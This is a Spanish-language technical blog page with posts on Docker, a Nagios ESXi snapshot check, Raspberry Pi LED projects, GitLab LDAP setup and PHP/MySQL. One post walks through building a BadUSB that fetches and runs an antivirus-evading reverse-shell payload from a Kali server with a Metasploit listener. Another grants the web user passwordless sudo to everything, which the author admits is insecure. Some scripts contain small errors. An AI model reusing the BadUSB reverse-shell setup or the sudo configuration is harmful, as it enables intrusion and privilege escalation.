Docker en Debian 9 Stretch

Docker:

Docker es un proyecto de código abierto con el cuál podemos crear contenedores.

Un contenedor es un prisma rectangular de gran tamaño que suelen utilizar los barcos para transportar mercaderías y suele tener dentro distintos tipos de productos. Docker vendría a ser como el transportador de esos containers, es decir el barco.

Llevado a la informática se utiliza para que aplicaciones de software puedan ejecutarse en cualquier máquina, independizandose del sistema operativo.

Es una especie de empaquetado de sofware que se puede llevar de un lado a otro.

Docker permite meter todo lo que se necesite para que una aplicación funcione y se ejecute correctamente.
Por ejemplo debe contener algo como: java, tomcat, nginx, la aplicación en si misma, librerias, binarios y todo lo que necesite para funcionar.

Si llevo ese contenedor a otro servidor donde esté docker instalado debería funcionar correctamente.


Docker Hub:

Es un repositorio donde los usuarios de docker y los partners crean, testean, guardan y distribuyen imagenes de contenedores.

Es un lugar de donde me puedo bajar contenedores ya armados y listos para usar. Por ejemplo un debian oficial, un linux customizado, un ubuntu con paquetes ya instalados, un webserver ya listo para usarse, etc.


Docker Files:

Se pueden crear imágenes a partir de un archivo llamado Dockerfile.


Instalando docker:

apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common

curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable"

apt-get update

apt-get install docker-ce 

Verificamos que Docker se este ejecutando:

/etc/init.d/docker status

Vemos todas las imágenes de debian en dockerhub:

docker search debian

Si quiero descargar una imagen utilizo el docker pull:

docker pull debian

Para ver las imagenes que tengo ya descargadas:

docker images

Ver contenedores ejecutando:

No tenemos contenedores corriendo, por ahora solo lo descargamos.

docker ps

Ejecutar un contenedor:

Utilizaremos la imagen de debian oficial que bajamos anteriormente con el comando pull:

Utilizaremos losbparámetros -t de tty y el -i de interactivo y le decimos que ejecute un bash. Vemos como nos cambió el prompt:

docker run -t -i debian /bin/bash

Instalamos paquetes en el container:

Hacemos un update de los repositorios e instalamos nginx, wget y vim.

root@1363037a2fad:/# apt-get update && apt-get -y install wget vim nginx

Tener en cuenta que puedo salir del contenedor con exit ó Ctrl+d pero dejará de ejecutarse el contenedor.

Si quisiera volver a tener el mismo container corriendo tendría que volver a instalar todo lo que instalé antes ya que no guarde los cambios en una imagen.

Para guardar esos cambios en una imagen primero debo salir sin matar el contenedor, para eso ejecutamos Ctrl+p+q y veremos que vuelve el prompt.

Si ahora ejecutamos el comando docker ps veremos que sigue corriendo ese container:

docker ps

Crear una imagen:

Ahora voy a guardar la imagen modificada, pero con otro nombre.

Primero obtenemos el ID del contenedor en ejecución (f5b9be35915d) con el comando "docker ps".

Guardaremos los cambios en una nueva imagen llamada nginx-debian:1.0. Esto lo hacemos con "docker commit [id-del-contenedor] [nombre-nueva-imagen] por ejemplo:

docker commit f5b9be35915d nginx-debian:1.0

Verificamos la creacion de la imagen:

root@debian:~# docker images

Salimos de un contenedor sin que quede en ejecución:

Primero verificamos que no hay contenedor corriendo:

docker ps

Verificamos que imagenes podemos usar para crear un contenedor:

docker images 

Iniciar un contenedor interactivo con la imagen que guardamos previamente llamada nginx-debian versión 1.0:

docker run -it nginx-debian:1.0

Salimos del contenedor con exit ó con Ctrl+d:

root@8c80b4f2c09e:/# exit

Verificamos que el contenedor no está corriendo:

docker ps

Si quiero borrar una imagen hacemos lo siguiente:

Vemos las imágenes disponibles:

docker images

Eliminamos la imagen nginx-debian v1.0:

docker rmi -f nginx-debian:1.0

Volvemos a ver que fue eliminada:

docker images

Creando una imagen con Dockerfile:

Creamos la carpeta y archivo Cockerfile y lo editamos:

mkdir -p /var/Dockerfile/nginx

vi /var/Dockerfile/nginx/Dockerfile

Dentro ponemos lo siguiente, este archivo debería utilizar un contenedor debian, indica que Hernan es el que la mantiene, actualiza los repo, instala en nginx lo expone en el puerto 8888 e inicia el demonio del nginx:

FROM debian
MAINTAINER HERNAN
RUN apt-get update && apt-get install -y nginx && apt clean
EXPOSE 8888
RUN /etc/init.d/nginx start

Ejecutamos el build posicionandonos donde está el docker file:

cd /var/Dockerfile/nginx/

docker build . 

Verificamos las imagenes:

root@debian:~# docker images
REPOSITORY                           TAG                 IMAGE ID            CREATED             SIZE
debian-apache                        latest              af0593cb85eb        59 seconds ago      225MB
debian                               latest              8d31923452f8        3 weeks ago         101MB

Vemos que no hay nada corriendo, ejecutamos la imagen debian-apache y verificamos que ahora corre:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

root@debian:~#
root@debian:~# docker run -p 8181:80 debian-apache-bis /usr/sbin/apache2ctl -D FOREGROUND
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message

Si ingresamos a la ip del docker, no la del contenedor, deberíamos ingresar al puerto 8181 y nos reenviaría al apache 80 del contenedor:

http://debian:8181/


Matamos el contenedor que habia quedado corriendo:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED                                                          STATUS              PORTS                          NAMES
68c121179ab3        debian-apache-bis   "/usr/sbin/apache2ct…"   12 minutes ago                                                   Up 12 minutes       81/tcp, 0.0.0.0:8181->80/tcp   vigorous_benz
root@debian:~# docker kill 68c121179ab3

Monitorear si una maquina virtual tiene snapshots en VMware ESXi

Este script corre con el usuario nagios, el ESXServer lo cambian por el hostname de su ESX ó por la ip del mismo, Storage-01 es el nombre del datastore del vmware en mis servidores.

Va a llegar una alarma de nagios en caso que exista alguna virtual con al menos un snapshot en cualquier máquina virtual.

Script: /usr/local/apps/nagios/libexec/check_VM_snapshots

 # Autor Hernan Tirado

 # blog: redes-seguridad.blogspot.com

 # Creado el: 15-03-2018

 #

 # Uso: /usr/local/apps/nagios/libexec/check_VM_snapshots

CANT_SNAP=`ssh root@ESXserver-x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq|wc -l`

if [ $CANT_SNAP = 0 ];then

 echo "OK - Virtuales SIN Snapshots en Storage-01."

 exit 0

else

 echo "CRITICAL - Virtuales con Snapshots en Storage-01: $CANT_SNAP"

 ssh root@ESXserver -x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq

 exit 2

fi

fi

Tener en cuenta que tiene que tener habilitado el SSH en el server ESXi y también copiar la key de nagios en el autorized_key del server ESX.

Shell Reversa con Bad USB Casero a Bajo Costo

Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate

Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:

Si nos pide instalar algo como esto, le damos confiar siempre e instalar:

Abrimos el Arduino y vamos a Archivo -> Preferencias:

Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:

Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."

Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:

Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":

Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases

Descomprimimos y ejecutamos el siguiente archivo:

Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard

Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP

Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino

Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:

Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:

Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:

Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:

En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:

Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:

Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:

Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:

Vemos las sesiones abiertas y nos conectamos:

Prender un LED con Sensor de Movimiento Ultrasonico HC-SR04 en Raspberry Pi

En la entrada anterior vimos como controlar un LED con GPIO en la RaspBerry Pi: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a explicar como prender el led utilizando el sensor de movimiento HC-SR04.

Materiales que utilizaremos son los mismos elementos que en el link de arriba, pero agregando el sensor que se puede conseguir por cualquier lado.


Pasos para la conexión:

Voy a explicar lo mejor posible, utilizando la terminología de filas A, B, C, etc y columnas 0, 1, 2, al mejor estilo batalla naval.

Los pines del Raspberry los enumeraré teniendo la tarjeta SD hacia la izquierda y el puerto USB hacia la derecha, el de abajo a la izquierda sería el PIN_1, el de arriba PIN_2, e ir contando de abajo hacia arriba y de izquierda a derecha PIN_3 sería el segundo de abajo de izq a der y así sucesivamente.

Lo que está en letra negrita es del raspberry y lo que está en letra azul es el protoboard:

1) Conectamos el PIN_2 de las raspberry al positivo => +59 (la primer linea de abajo del protoboard).

2) PIN_6 al negativo => -55 (la segunda linea de abajo del protoboard).

3) PIN_10 al J50

4) PIN_11 al J51

5) PIN_16 al H33

6) +53 al J49

7) -52 al J52 

8) Conectamos una resistencia del -35 al J35

9) Conectamos el LED de 5volts: El negativo (lado más corto) del LED lo conectamos al G35 del proto y el positivo (lado más largo) al G33

10) El sensor ultrasónico lo conectamos desde el F49 al F52. IMPORTANTE!! El GND del sensor debe ir en el F52 y el vCC del sensor al F49 del protoboard.


Ya finalizadas las conexiones les pongo el código para que generen el python:

vi /var/www/html/sensorProximidad.py

#!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
Trigger = 10
Echo = 12
GPIO.setup(Trigger,GPIO.OUT)
GPIO.setup(Echo,GPIO.IN)
print "Sensor Ultrasonico"
try:
        while True:
                GPIO.output(Trigger,False)
                time.sleep(0.5)
                GPIO.output(Trigger,True)
                time.sleep(0.00001)
                GPIO.output(Trigger,False)
                inicio=time.time()
                while GPIO.input(Echo)==0:
                        inicio=time.time()
                while GPIO.input(Echo)==1:
                        final=time.time()
                t_transcurrido=final-inicio
                distancia=t_transcurrido*34000
                distancia=distancia/2
                if distancia < 10:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,1)
                else:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,0)
except KeyBoardInterrupt:
        GPIO.cleanup()

Le damos permisos al script de ejecución y lo ejecutamos, ponemos la mano a menos de 10 centímetros del sensor y si está todo bien conectado se encenderá el LED.

Acá les dejo el planito que hice:

Les dejo también un video del enano jugando con el sensor:

Prender/Apagar LED en Raspberry con PHP llamando a Python

En este enlace hicimos el primer ejercicio de prender y apagar un led en Raspberry Pi con python: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a hacer un simple PHP con dos botones para prender el LED desde una web, pudiendo hacerlo desde la computadora, del celular o desde un lugar remoto:

Iniciamos el webserver apache:

root@kali:/home# /etc/init.d/apache2 start
[....] Starting apache2 (via systemctl): apache2.service
. ok

Tener en cuenta que tenemos que habilitar el sudo para el usuario www-data, lo configure rapido, sin seguridad dandole permiso a todo en el sudoers pero tengamos cuidado de no hacerlo asi porque es totalmente inseguro:

root@kali:~# visudo
# User privilege specification
www-data        ALL=(ALL:ALL) NOPASSWD: ALL

Nos logueamos con el usuario www-data:

root@kali:~# su - www-data
www-data@kali:~$ 

Generamos los archivos que lo prenden, el python y el php:

www-data@kali:~$ sudo cd /var/www/html/ 

www-data@kali:~/html$ sudo vi prende.py
#!/usr/bin/python
print "LED prendido!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,1) 

www-data@kali:~/html$ sudo vi prende.php
$a=exec('sudo python /var/www/html/prende.py');
echo $a;
?>

 Ahora los que apagan:

www-data@kali:~/html$ sudo vi apaga.py 

#!/usr/bin/python
print "LED apagado!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,0) 

www-data@kali:~/html$ sudo vi apaga.php
$a=exec('sudo python /var/www/html/apaga.py');
echo $a;
?>

 Lo prendemos y lo apagamos llamando al .php correspondiente desde un navegador:

http://192.168.1.40/prende.php

http://192.168.1.40/apaga.php


Ahora hacemos un unico php que tenga dos botones que prenderan o apagaran el led:

www-data@kali:~/html$ sudo vi boton.php

http://192.168.1.40/boton.php

Tenemos una opción mejor que encontré en el sitio de Jeferson Rivera: http://riverajefer.blogspot.com.ar/


La clonamos con el git y edigamos el procesa.php

root@kali:~# cd /var/www/html/
root@kali:/var/www/html# git clone https://github.com/rpi-jefer/rpi-led 

root@kali:~# vi /var/www/html/rpi-led/procesa.php

Cambio a la ruta de mis pythones así no tengo que cambiar los pines uno por uno:

    exec('sudo python /var/www/html/apaga.py');
y
    exec('sudo python /var/www/html/prende.py');

Ingresamos a la url y vemos que prende tocando el pulsador:

Controlando un LED con Raspberry Pi en Python con GPIO

La Raspberry Pi que voy a utilizar es el Modelo B:

Led 5 volt, resistencia para ese led y un protoboard, solderless ò breadboard MB-102, una tarjeta SD un cable de red para conectar al modem/router y un cargador de celular USB.

El sistema operativo que tengo instalado es Kali Linux, pero puede hacerce con cualquier otro, si quieren istalarle este, les dejo acá el link: https://redes-seguridad.blogspot.com.ar/2017/03/instalando-kali-linux-en-raspberry-pi.html

La conexión que hacemos será lo siguiente:

Para que se entienda mejor les hice el planito en paint:

Ahora explico la conexión:

1) El pin identificado con la letra A del GPIO del raspberry pi (contamos 6 pines de derecha a izquierda de la fila de arriba) y lo conectamos a la letra B en naranja (en el protoboard tipo batalla naval sería la fila B y la columna 20),

2) El pin identificado con la letra C del GPIO del raspberry pi (contamos 3 pines de derecha a izquierda de la fila de abajo) y lo conectamos en la letra D (en el protoboard tipo batalla naval sería fila A y columna 31).

3) Para conectar el LED tenemos que tener en cuenta que tiene un conector más largo que el otro. El lado más corto lo conectamos a la derecha E (en el protoboard tipo batalla naval sería fila C y columna 31) y el lado más largo del LED a la izquierda conectado al F (en el protoboard tipo batalla naval sería fila C y columna 29)

4) Para conectar la resistencia la conectamos en el G (en el protoboard tipo batalla naval sería fila D y columna 20) y en el H (en el protoboard tipo batalla naval sería fila D y columna 29).


Instalación de Python y GPIO en Kali Linux:

root@kali:~# apt-get install python-dev python3-dev gcc

root@kali:/home# wget https://pypi.python.org/packages/e2/58/6e1b775606da6439fa3fd1550e7f714ac62aa75e162eed29dbec684ecb3e/RPi.GPIO-0.6.3.tar.gz 

root@kali:/home# tar xzvf RPi.GPIO-0.6.3.tar.gz 

root@kali:/home# cd RPi.GPIO-0.6.3 

root@kali:/home/RPi.GPIO-0.6.3# python setup.py install 

root@kali:~# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import RPi.GPIO

Armamos un python para encender y otro para apagar el LED:

root@kali:/home# vi prender_led.py
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,1)

En la ultima linea le indicamos con el 1 que lo enciende, si lo cambiamos por cero lo apaga:

root@kali:/home# vi apagar_led.py
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,0)

Prendemos el led ejecutando el python:

root@kali:/home# python prender_led.py

Apagamos el led ejecutando el otro python:

root@kali:/home# python apagar_led.py

Armamos otro script que recibe un parametro, si es 1 prende y si es 0 apaga:

root@kali:/home# vi prende_Con_1_Apaga_con_0.py
import RPi.GPIO as GPIO
import sys
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
LED=17
print sys.argv[1]
ESTADO=int(sys.argv[1])
GPIO.setup(LED, GPIO.OUT)
GPIO.setwarnings(False)
if ESTADO == 0:
        print('Apagando el LED')
        GPIO.output(LED,ESTADO)
else:
        print('Prendiendo el LED')
        ESTADO = 1;
        GPIO.output(LED,ESTADO)

Prendemos:

root@kali:/home# python prende_Con_1_Apaga_con_0.py 1

Apagamos:

root@kali:/home# python prende_Con_1_Apaga_con_0.py 1

Hacerlo titilar dentro de un while infinito:

root@kali:/home# vi titila.py

import RPi.GPIO as GPIO

import time

GPIO.setmode(GPIO.BCM)

GPIO.setwarnings(False)

while 1:

        GPIO.setup(17,GPIO.OUT)

        GPIO.output(17,1)

        time.sleep(0.5)

        GPIO.setup(17,GPIO.OUT)

        GPIO.output(17,0)

        time.sleep(0.5)

SOS con codigo Morse:

root@kali:/home# vi SOS.py
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
while 1:
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,0)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,0)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,0)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(2)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,0)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(2)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,0)
        time.sleep(0.5)
        GPIO.setup(17,GPIO.OUT)
        GPIO.output(17,1)
        time.sleep(2)

Video prediendo y apagando los LEDs:

Y el Santulon jugando con el nuevo chiche:

FUENTES:

https://www.raspberrypi.org
https://geekytheory.com
http://rsppi.blogspot.com.ar/
http://robologs.net/
http://www.aprendeprogramacion.net/

Autenticar GitLab con Active Directory

Luego de instalar GitLab con el siguiente enlace: https://redes-seguridad.blogspot.com.ar/2017/02/instalando-gitlab-en-debian-8.html

Pasaré a explicar como autenticarlo con LDAP.


Antes que nada realizamos una copia de la config del git:

cp -pf /etc/gitlab/gitlab.rb /etc/gitlab/gitlab.rb.orig

Agregamos lo siguiente en la sección "LDAP Settings", tener en cuenta los TABs y espacios, ya que si se modifica algo no va a funcionar. Reemplazar lo que está en rojo por los valores que correspondan a c/u:

### LDAP Settings
###! Docs: https://docs.gitlab.com/omnibus/settings/ldap.html
###! **Be careful not to break the indentation in the ldap_servers block. It is
###!   in yaml format and the spaces must be retained. Using tabs will not work.**
 gitlab_rails['ldap_enabled'] = true
###! **remember to close this block with 'EOS' below**
 gitlab_rails['ldap_servers'] = YAML.load <<- br="">   main: # 'main' is the GitLab 'provider ID' of this LDAP server
     label: 'LDAP'
     host: '192.168.0.1'      #Ip del servidor LDAP con AD
     port: 389      #Puerto si utiliza método plano, para ssl es otro
     uid: 'sAMAccountName'        
     method: 'plain' # "tls" or "ssl" or "plain"
     bind_dn: 'CN=Nombre Apellido Usuario para Leer el LDAP, OU=Users,OU=Ruta=Dominio,OU=Completa de OUs, DC=Mi,DC=Dominio,DC=com'
     password: 'Poner Password del usuario de arriba'
     active_directory: true
     allow_username_or_email_login: false
     block_auto_created_users: false
     base: 'OU=Ruta,OU=Completa,OU=donde,OU=buscar,OU=Usuarios Permitidos,DC=Mi,DC=Dominio,DC=com'
     user_filter: ''
     attributes:
       username: ['uid', 'userid', 'sAMAccountName']
       email:    ['mail', 'email', 'userPrincipalName']
       name:       'cn'
       first_name: 'givenName'
       last_name:  'sn'
 EOS          #No olvidar descomentar esta linea

Aplicamos los cambios:

gitlab-ctl reconfigure

Chequeamos que funcione la autenticación en LDAP:

gitlab-rake gitlab:ldap:check
Checking LDAP ...
Acá debe aparecer el listado de los usuarios de la OU base que configuramos"Server: ldapmain
LDAP authentication... Success
Checking LDAP ... Finished

Si obtenemos algún error de autenticación podremos utilizar el ldapsearch instalando lo siguiente:

apt-get install ldapscripts

Ejecutamos una búsqueda dentro del LDAP desde el linux con el siguiente comando, reemplazando lo que está en rojo:

ldapsearch -v -H ldap://ip_del_active_directory -b "OU=Users,OU=Sistemas,OU=Desarrolladores,DC=My,DC=Dominio,DC=com" -D "CN=Nombre Apellido,OU=Usuarios,OU=Sistemas,DC=My,DC=Dominio,DC=com" -W

El -D es el bind_dn y el -b es el base que configuraríamos en el git.


Reiniciamos el git:

gitlab-ctl restart
ok: run: gitlab-workhorse: (pid 8625) 0s
ok: run: logrotate: (pid 8632) 1s
ok: run: nginx: (pid 8639) 0s
ok: run: postgresql: (pid 8646) 1s
ok: run: redis: (pid 8655) 0s
ok: run: sidekiq: (pid 8660) 0s
ok: run: unicorn: (pid 8665) 1s

Nos logueamos a la página del gitlab y verificamos que podemos entrar con algún usuario del dominio de LDAP.


Si nos da error también podemos ejecutar un tail a la siguiente ruta:

tail -f /var/log/gitlab/gitlab-rails/production.log

Instalando GitLab en Debian 8

Qué es GitLab?

GitLab es un repositorio de gestión de proyectos mediante una interfaz web en la cual podemos gestionar grupos, permisos y hacer seguimiento de las modificaciones del código.

Instalamos curl como pre-requisito:

apt-get install curl

Descargamos el paquete con wget:

wget https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb

Ejecutamos:

cat script.deb | bash

Detected operating system as debian/jessie.
Checking for curl...
Detected curl...
Running apt-get update...
done.
Installing debian-archive-keyring which is needed for installing
apt-transport-https on many Debian systems.
Installing apt-transport-https... done.
Installing /etc/apt/sources.list.d/gitlab_gitlab-ce.list...done.
Importing packagecloud gpg key... done.
Running apt-get update... done.
The repository is setup! You can now install packages.

Instalamos gitlab-ce:

apt-get install gitlab-ce

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  gitlab-ce
0 upgraded, 1 newly installed, 0 to remove and 4 not upgraded.
Need to get 257 MB of archives.
After this operation, 803 MB of additional disk space will be used.
Get:1 https://packages.gitlab.com/gitlab/gitlab-ce/debian/ jessie/main gitlab-ce amd64 8.16.5-ce.1 [257 MB]
Fetched 257 MB in 3min 53s (1,101 kB/s)
Selecting previously unselected package gitlab-ce.
(Reading database ... 29918 files and directories currently installed.)
Preparing to unpack .../gitlab-ce_8.16.5-ce.1_amd64.deb ...
Unpacking gitlab-ce (8.16.5-ce.1) ...
Setting up gitlab-ce (8.16.5-ce.1) ...


       *.                  *.
      ***                 ***
     *****               *****
    .******             *******
    ********            ********
   ,,,,,,,,,***********,,,,,,,,,
  ,,,,,,,,,,,*********,,,,,,,,,,,
  .,,,,,,,,,,,*******,,,,,,,,,,,,
      ,,,,,,,,,*****,,,,,,,,,.
         ,,,,,,,****,,,,,,
            .,,,***,,,,
                ,*,.

     _______ __  __          __
    / ____(_) /_/ /   ____ _/ /_
   / / __/ / __/ /   / __ `/ __ \
  / /_/ / / /_/ /___/ /_/ / /_/ /
  \____/_/\__/_____/\__,_/_.___/


gitlab: Thank you for installing GitLab!
gitlab: To configure and start GitLab, RUN THE FOLLOWING COMMAND:

sudo gitlab-ctl reconfigure

gitlab: GitLab should be reachable at http://SERVIDOR.DOMINIO
gitlab: Otherwise configure GitLab for your system by editing /etc/gitlab/gitlab.rb file
gitlab: And running reconfigure again.
gitlab:
gitlab: For a comprehensive list of configuration options please see the Omnibus GitLab readme
gitlab: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md
gitlab:

gitlab: GitLab now ships with a newer version of PostgreSQL (9.6.1), and will be used
gitlab: as the default in the next major release. To upgrade, RUN THE FOLLOWING COMMANDS:

sudo gitlab-ctl pg-upgrade

gitlab: For more details, please see:
gitlab: https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server
gitlab:
It looks like GitLab has not been configured yet; skipping the upgrade script.

Reconfigure:

gitlab-ctl reconfigure

 Nos logueamos por la dirección del servidor ó la ip: http://nombreServidor y nos logueamos

Ejecutar consulta a MySQL desde PHP

Nos logueamos a la consola del mysql:

root@server:/# mysql -u root -p
Enter password: ingresamos password de mysql

Seleccionamos la base de datos:

mysql> use prueba_morsa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

Vemos las tablas:

mysql> show tables;
+------------------------+
| Tables_in_prueba_morsa |
+------------------------+
| personas               |
+------------------------+
1 row in set (0.00 sec)

Vemos la estructura de la tabla:

mysql> describe personas;
+--------+-------------+------+-----+---------+-------+
| Field  | Type        | Null | Key | Default | Extra |
+--------+-------------+------+-----+---------+-------+
| codigo | int(11)     | YES  |     | NULL    |       |
| nombre | varchar(10) | YES  |     | NULL    |       |
+--------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

Y vemos los datos:

mysql> select * from personas;
+--------+--------+
| codigo | nombre |
+--------+--------+
|      1 | Beto   |
|      2 | Betty  |
+--------+--------+
2 rows in set (0.00 sec)

Ahora creamos un archivo otro.php que contenga lo siguiente:

<?php
//Indicamos el server, el usuario y el password, donde está el mysql que queremos consultar
mysql_connect('localhost','usuario','passDeusuario'); 

//Corremos la consulta donde especificamos la base de datos: prueba_morsa, la tabla personas y devolverá el nombre del código que tiene 1:
$consulta = sprintf("SELECT nombre FROM prueba_morsa.personas WHERE codigo ='1';", mysql_real_escape_string($nombre), mysql_real_escape_string($codigo)); 

// Ejecutar la query
$resultado = mysql_query($consulta); 

// Comprobar el resultado - Devuelve el error si algo no funciona
if (!$resultado) {
$mensaje = 'Consulta no válida: ' . mysql_error() . "\n";
$mensaje .= 'Consulta completa: ' . $consulta;
die($mensaje);
} 

// Imprimimos el resultado de la query
while ($fila = mysql_fetch_assoc($resultado)) {
echo $fila['nombre'];
} 

// Liberamos los recursos
mysql_free_result($resultado);
?>

Nos conectamos a la web por http://nombre_del_server/ruta/otro.php y vemos lo siguiente:

Beto


Para más información de como crear una base de datos, una tabla e instertar datos ver el siguiente link:

http://redes-seguridad.blogspot.com.ar/2011/02/comandos-basicos-de-mysql.html